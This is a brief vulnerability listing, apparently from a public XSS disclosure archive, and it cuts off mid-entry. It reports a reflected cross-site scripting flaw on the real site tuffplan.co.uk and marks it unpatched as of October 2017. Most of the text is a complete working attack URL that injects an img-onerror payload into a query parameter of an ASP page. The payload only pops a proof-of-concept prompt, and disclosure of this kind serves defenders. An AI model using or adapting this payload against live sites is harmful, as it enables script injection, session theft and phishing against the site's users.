tuffplan.co.uk XSS vulnerability

Vulnerable URL: http://www.tuffplan.co.uk/aqua3seriesmap/seriesmapcheck.asp?type=SR625=SU1500070000&coord2;=415000:170000=EX157=1.9=%22%3EKeritzy%3Cimg%20src=x%20onerror=prompt/xssposed/%3Ewest Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.10.2017 Vulnerability type...